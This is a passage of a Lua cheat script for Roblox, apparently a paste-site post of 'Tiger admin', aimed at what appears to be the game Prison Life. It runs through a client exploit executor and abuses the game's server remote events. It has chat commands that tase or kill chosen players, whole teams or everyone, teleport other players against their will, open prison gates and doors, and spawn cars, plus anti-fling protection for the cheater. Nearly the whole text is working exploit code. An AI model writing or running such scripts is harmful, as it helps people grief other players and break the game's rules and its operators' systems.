  3865. if not table.find(Temp.KillAuras,Speaker) then
  3866. table.insert(Temps.KillAuras, Speaker)
  3867. end
  3868. end
  3869. end
  3870. if PlayerCheckCommand("unaura") then
  3871.  
  3872. if Arg2_P then
  3873. local Player = API:FindPlayer(Arg2_P)
  3874. if table.find(Temp.KillAuras,Player) then
  3875. table.remove(Temp.KillAuras,table.find(Temp.KillAuras,Player))
  3876. end
  3877. else
  3878. if table.find(Temp.KillAuras,Speaker) then
  3879. table.remove(Temp.KillAuras,table.find(Temp.KillAuras,Speaker))
  3880. end
  3881. end
  3882. end
  3883. if PlayerCheckCommand("tase") then
  3884. local Player = API:FindPlayer(Arg2_P)
  3885. if Player then
  3886. local Oldt = Player.Team
  3887. API:ChangeTeam(game.Teams.Guards)
  3888. wait()
  3889. task.spawn(function()
  3890. game:GetService("ReplicatedStorage").ReloadEvent:FireServer(game:GetService("Players").LocalPlayer.Backpack.Taser)
  3891. end)
  3892. local ohTable1 = {
  3893. [1] = {
  3894. ["RayObject"] = Ray.new(Vector3.new(), Vector3.new()),
  3895. ["Distance"] = -1,
  3896. ["Cframe"] = CFrame.new(),
  3897. ["Hit"] = Player.Character.Head
  3898. }
  3899. }
  3900. local ohInstance2 = game:GetService("Players").LocalPlayer.Backpack.Taser
  3901.  
  3902. game:GetService("ReplicatedStorage").ShootEvent:FireServer(ohTable1, ohInstance2)
  3903. task.spawn(function()
  3904. game:GetService("ReplicatedStorage").ReloadEvent:FireServer(game:GetService("Players").LocalPlayer.Backpack.Taser)
  3905. end)
  3906. wait(.1)
  3907. API:ChangeTeam(Oldt)
  3908. end
  3909. end
  3910. if PlayerCheckCommand("goto") then
  3911. local Target = API:FindPlayer(Arg2_P)
  3912. if Target then
  3913. API:bring(Speaker,Target.Character:GetPrimaryPartCFrame())
  3914. end
  3915. end
  3916. if PlayerCheckCommand("bring") then
  3917. local Target = API:FindPlayer(Arg2_P)
  3918. if Target then
  3919. API:bring(Target,Speaker.Character.Head.CFrame)
  3920. end
  3921. end
  3922. if PlayerCheckCommand("opengate") then
  3923. local OldPos = game:GetService("Players").LocalPlayer.Character:GetPrimaryPartCFrame()
  3924. API:MoveTo(CFrame.new(503.998993, 102.039917, 2242.79907, 0.99996537, -1.0554821e-08, -0.00832392555, 1.00791926e-08, 1, -5.71817864e-08, 0.00832392555, 5.70959067e-08, 0.99996537))
  3925. wait(.1)
  3926. workspace.Remote.ItemHandler:InvokeServer(workspace.Prison_ITEMS.buttons["Prison Gate"]["Prison Gate"])
  3927. API:MoveTo(OldPos)
  3928. end
  3929. if PlayerCheckCommand("opendoors") then
  3930. if not firetouchinterest then
  3931. return API:Notif("Your exploit doesnt support this command!",false)
  3932. end
  3933. local LastTeam =plr.Team
  3934. API:ChangeTeam(game.Teams.Guards)
  3935. wait(.7)
  3936. task.spawn(function()
  3937. local Arg_1 = game:GetService("Workspace")["Prison_ITEMS"].buttons["Prison Gate"]["Prison Gate"]
  3938. local Event = game:GetService("Workspace").Remote.ItemHandler
  3939. Event:InvokeServer(Arg_1)
  3940. end)
  3941. for i,v in pairs(game:GetService("Workspace").Doors:GetChildren()) do
  3942. if v then
  3943. if v:FindFirstChild("block") and v:FindFirstChild("block"):FindFirstChild("hitbox") then
  3944. firetouchinterest(Player.Character.HumanoidRootPart,v.block.hitbox,0)
  3945. firetouchinterest(Player.Character.HumanoidRootPart,v.block.hitbox,1)
  3946. end
  3947. end
  3948. end
  3949. wait(1)
  3950. API:ChangeTeam(LastTeam)
  3951. end
  3952. if PlayerCheckCommand("kill") then
  3953. if Arg2_P == "all" then
  3954. API:killall()
  3955. elseif Arg2_P == "everyone" then
  3956. API:killall()
  3957. elseif Arg2_P == "others" then
  3958. API:killall()
  3959. elseif Arg2_P == "guards" then
  3960. API:killall(game.Teams.Guards)
  3961. elseif Arg2_P == "inmates" then
  3962. API:killall(game.Teams.Inmates)
  3963. elseif Arg2_P == "criminals" then
  3964. API:killall(game.Teams.Criminals)
  3965. else
  3966. local Player = API:FindPlayer(Arg2_P)
  3967. if Player then
  3968. API:KillPlayer(Player)
  3969. end
  3970. end
  3971. end
  3972. if PlayerCheckCommand("nex") then
  3973. if Arg2_P == "me" then
  3974. API:bring(Speaker, CFrame.new(916.738098, 99.989975, 2375.38403, 0.99996829, 0, 0.00796249602, 0, 1, 0, -0.00796249602, 0, 0.99996829))
  3975. elseif Arg2_P then
  3976. local Target = API:FindPlayer(Arg2_P)
  3977. if Target then
  3978. API:bring(Target, CFrame.new(916.738098, 99.989975, 2375.38403, 0.99996829, 0, 0.00796249602, 0, 1, 0, -0.00796249602, 0, 0.99996829))
  3979. end
  3980. else
  3981. API:bring(Speaker, CFrame.new(916.738098, 99.989975, 2375.38403, 0.99996829, 0, 0.00796249602, 0, 1, 0, -0.00796249602, 0, 0.99996829))
  3982. end
  3983. end
  3984. if PlayerCheckCommand("prison") then
  3985. if Arg2_P == "me" then
  3986. API:bring(Speaker, CFrame.new(916.738098, 99.989975, 2375.38403, 0.99996829, 0, 0.00796249602, 0, 1, 0, -0.00796249602, 0, 0.99996829))
  3987. elseif Arg2_P then
  3988. local Target = API:FindPlayer(Arg2_P)
  3989. if Target then
  3990. API:bring(Target, CFrame.new(916.738098, 99.989975, 2375.38403, 0.99996829, 0, 0.00796249602, 0, 1, 0, -0.00796249602, 0, 0.99996829))
  3991. end
  3992. else
  3993. API:bring(Speaker, CFrame.new(916.738098, 99.989975, 2375.38403, 0.99996829, 0, 0.00796249602, 0, 1, 0, -0.00796249602, 0, 0.99996829))
  3994. end
  3995. end
  3996. if PlayerCheckCommand("yard") then
  3997. if Arg2_P == "me" then
  3998. API:bring(Speaker, CFrame.new(792.50885, 97.9999237, 2467.05664, 0.999635994, 2.4151424e-08, -0.0269802082, -2.5547001e-08, 1, -5.13812246e-08, 0.0269802082, 5.20517851e-08, 0.999635994))
  3999. elseif Arg2_P then
  4000. local Target = API:FindPlayer(Arg2_P)
  4001. if Target then
  4002. API:bring(Target, CFrame.new(792.50885, 97.9999237, 2467.05664, 0.999635994, 2.4151424e-08, -0.0269802082, -2.5547001e-08, 1, -5.13812246e-08, 0.0269802082, 5.20517851e-08, 0.999635994))
  4003. end
  4004. else
  4005. API:bring(Speaker, CFrame.new(792.50885, 97.9999237, 2467.05664, 0.999635994, 2.4151424e-08, -0.0269802082, -2.5547001e-08, 1, -5.13812246e-08, 0.0269802082, 5.20517851e-08, 0.999635994))
  4006. end
  4007. end
  4008. if PlayerCheckCommand("tower") then
  4009. if Arg2_P == "me" then
  4010. API:bring(Speaker, CFrame.new(822.355164, 142.638184, 2587.71753, 0.999500692, 1.78500699e-08, -0.0315965861, -1.87901747e-08, 1, -2.94564462e-08, 0.0315965861, 3.00354444e-08, 0.999500692))
  4011. elseif Arg2_P then
  4012. local Target = API:FindPlayer(Arg2_P)
  4013. if Target then
  4014. API:bring(Target, CFrame.new(822.355164, 142.638184, 2587.71753, 0.999500692, 1.78500699e-08, -0.0315965861, -1.87901747e-08, 1, -2.94564462e-08, 0.0315965861, 3.00354444e-08, 0.999500692))
  4015. end
  4016. else
  4017. API:bring(Speaker, CFrame.new(822.355164, 142.638184, 2587.71753, 0.999500692, 1.78500699e-08, -0.0315965861, -1.87901747e-08, 1, -2.94564462e-08, 0.0315965861, 3.00354444e-08, 0.999500692))
  4018. end
  4019. end
  4020. if PlayerCheckCommand("cbase") then
  4021. if Arg2_P == "me" then
  4022. API:bring(Speaker, CFrame.new(-843.855469, 93.7955246, 2058.3606, 0.00948868692, -4.14198537e-10, 0.999954998, 6.77936429e-10, 1, 4.07784168e-10, -0.999954998, 6.74036604e-10, 0.00948868692))
  4023. elseif Arg2_P then
  4024. local Target = API:FindPlayer(Arg2_P)
  4025. if Target then
  4026. API:bring(Target, CFrame.new(-843.855469, 93.7955246, 2058.3606, 0.00948868692, -4.14198537e-10, 0.999954998, 6.77936429e-10, 1, 4.07784168e-10, -0.999954998, 6.74036604e-10, 0.00948868692))
  4027. end
  4028. else
  4029. API:bring(Speaker, CFrame.new(-843.855469, 93.7955246, 2058.3606, 0.00948868692, -4.14198537e-10, 0.999954998, 6.77936429e-10, 1, 4.07784168e-10, -0.999954998, 6.74036604e-10, 0.00948868692))
  4030. end
  4031. end
  4032. if PlayerCheckCommand("armory") then
  4033. if Arg2_P == "me" then
  4034. API:bring(Speaker, CFrame.new(840.902344, 99.9899826, 2265.74536, 0.0302555375, -3.3549501e-08, 0.999542177, -4.92125558e-08, 1, 3.50545015e-08, -0.999542177, -5.02506197e-08, 0.0302555375))
  4035. elseif Arg2_P then
  4036. local Target = API:FindPlayer(Arg2_P)
  4037. if Target then
  4038. API:bring(Target, CFrame.new(840.902344, 99.9899826, 2265.74536, 0.0302555375, -3.3549501e-08, 0.999542177, -4.92125558e-08, 1, 3.50545015e-08, -0.999542177, -5.02506197e-08, 0.0302555375))
  4039. end
  4040. else
  4041. API:bring(Speaker, CFrame.new(840.902344, 99.9899826, 2265.74536, 0.0302555375, -3.3549501e-08, 0.999542177, -4.92125558e-08, 1, 3.50545015e-08, -0.999542177, -5.02506197e-08, 0.0302555375))
  4042. end
  4043. end
  4044. if PlayerCheckCommand("saferoom") then
  4045. if Arg2_P == "me" then
  4046. API:bring(Speaker, CFrame.new(704.895935, 99.9899826, 2373.47876, 0.0323696211, -1.06273255e-07, -0.999475956, -4.96659567e-08, 1, -1.07937481e-07, 0.999475956, 5.3133828e-08, 0.0323696211))
  4047. elseif Arg2_P then
  4048. local Target = API:FindPlayer(Arg2_P)
  4049. if Target then
  4050. API:bring(Target, CFrame.new(704.895935, 99.9899826, 2373.47876, 0.0323696211, -1.06273255e-07, -0.999475956, -4.96659567e-08, 1, -1.07937481e-07, 0.999475956, 5.3133828e-08, 0.0323696211))
  4051. end
  4052. else
  4053. API:bring(Speaker, CFrame.new(704.895935, 99.9899826, 2373.47876, 0.0323696211, -1.06273255e-07, -0.999475956, -4.96659567e-08, 1, -1.07937481e-07, 0.999475956, 5.3133828e-08, 0.0323696211))
  4054. end
  4055. end
  4056. if PlayerCheckCommand("car") then
  4057. pcall(function()
  4058. local Older = API:GetPosition()
  4059. local OldPos = Speaker.Character:GetPrimaryPartCFrame()
  4060. game:GetService("Players").LocalPlayer.Character:SetPrimaryPartCFrame(CFrame.new(-910, 95, 2157))
  4061. wait()
  4062. local car = nil
  4063. task.spawn(function()
  4064. car = game:GetService("Workspace").CarContainer.ChildAdded:Wait()
  4065. end)
  4066. repeat wait(.1)
  4067. local ohInstance1 = game:GetService("Workspace").Prison_ITEMS.buttons:GetChildren()[8]["Car Spawner"]
  4068. workspace.Remote.ItemHandler:InvokeServer(ohInstance1)
  4069. until car
  4070. repeat task.wait() until car:FindFirstChild("RWD") and car:FindFirstChild("Body") and car:FindFirstChild("Body"):FindFirstChild("VehicleSeat")
  4071. car.PrimaryPart = car.RWD
  4072. game:GetService("Players").LocalPlayer.Character:SetPrimaryPartCFrame(OldPos)
  4073. wait(1)
  4074. local Done = false
  4075. car.Body.VehicleSeat:Sit(game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"))
  4076. repeat
  4077. game:GetService("RunService").RenderStepped:Wait()
  4078. car:SetPrimaryPartCFrame(OldPos)
  4079. game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame =CFrame.new(car.Body.VehicleSeat.Position)
  4080. car.Body.VehicleSeat:Sit(game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"))
  4081. if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit == true then
  4082. Done = true
  4083. end
  4084. until Done
  4085. wait(.3)
  4086. API:UnSit()
  4087. API:MoveTo(Older)
  4088. end)
  4089. end
  4090. end
  4091. game:GetService("RunService").RenderStepped:Connect(function()--//Global Runservice
  4092. if not Unloaded and States.killaura and Temp.KillPart and plr.Character:FindFirstChildOfClass("Humanoid") and plr.Character:FindFirstChildOfClass("Humanoid").Health >1 then
  4093. Temp.KillPart.CFrame = CFrame.new(API:GetPosition().Position)
  4094. else
  4095. if Temp.KillPart and States.killaura then
  4096. Temp.KillPart.CFrame = CFrame.new(1,838539835428,0)
  4097. elseif not Temp.KillPart and States.killaura then
  4098. API:CreateKillPart()
  4099. end
  4100. end
  4101. end)
  4102.  
  4103. local function PlayerAddedANTIFLING(Player)
  4104. if Unloaded or not States.AntiFling then
  4105. return
  4106. end
  4107. local Detected = false
  4108. local Character;
  4109. local PrimaryPart;
  4110.  
  4111. local function CharacterAdded(NewCharacter)
  4112. Character = NewCharacter
  4113. repeat
  4114. wait()
  4115. PrimaryPart = NewCharacter:FindFirstChild("HumanoidRootPart")
  4116. until PrimaryPart
  4117. Detected = false
  4118. end
  4119.  
  4120. CharacterAdded(Player.Character or Player.CharacterAdded:Wait())
  4121. Player.CharacterAdded:Connect(CharacterAdded)
  4122. game:GetService("RunService").Heartbeat:Connect(function()
  4123. if not Unloaded and States.AntiFling then
  4124. if (Character and Character:IsDescendantOf(workspace)) and (PrimaryPart and PrimaryPart:IsDescendantOf(Character)) then
  4125. if PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 or PrimaryPart.AssemblyLinearVelocity.Magnitude > 100 then
  4126. Detected = true
  4127. for i,v in ipairs(Character:GetDescendants()) do
  4128. if v:IsA("BasePart") then
  4129. v.CanCollide = false
  4130. v.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
  4131. v.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
  4132. v.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
  4133. end
  4134. end
  4135. PrimaryPart.CanCollide = false
  4136. PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
  4137. PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
  4138. PrimaryPart.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
  4139. end
  4140. end
  4141. end
  4142. end)
  4143. end
  4144. for i,v in ipairs(game:GetService("Players"):GetPlayers()) do
  4145. if v ~= plr then
  4146. PlayerAddedANTIFLING(v)
  4147. end
  4148. end
  4149. game:GetService("Players").PlayerAdded:Connect(PlayerAddedANTIFLING)
  4150.  
  4151. local LastPosition = nil
  4152. game:GetService("RunService").Heartbeat:Connect(function()
  4153. if not Unloaded and States.AntiFling then
  4154. pcall(function()
  4155. local PrimaryPart = plr.Character.PrimaryPart
  4156. if PrimaryPart.AssemblyLinearVelocity.Magnitude > 250 or PrimaryPart.AssemblyAngularVelocity.Magnitude > 250 then
  4157. PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
  4158. PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
  4159. PrimaryPart.CFrame = LastPosition
  4160. elseif PrimaryPart.AssemblyLinearVelocity.Magnitude < 50 or PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 then
  4161. LastPosition = PrimaryPart.CFrame
  4162. end
  4163. end)
  4164. end
  4165. end)
  4166. local DefaultChatSystemChatEvents = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents
  4167. API:Notif("Tiger admin by thaibao7444",nil,true)
  4168. CmdBarFrame:TweenPosition(UDim2.new(0.5, 0, 0.899999998, 0)-UDim2.new(0,0,.05,0),"Out","Back",.5)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement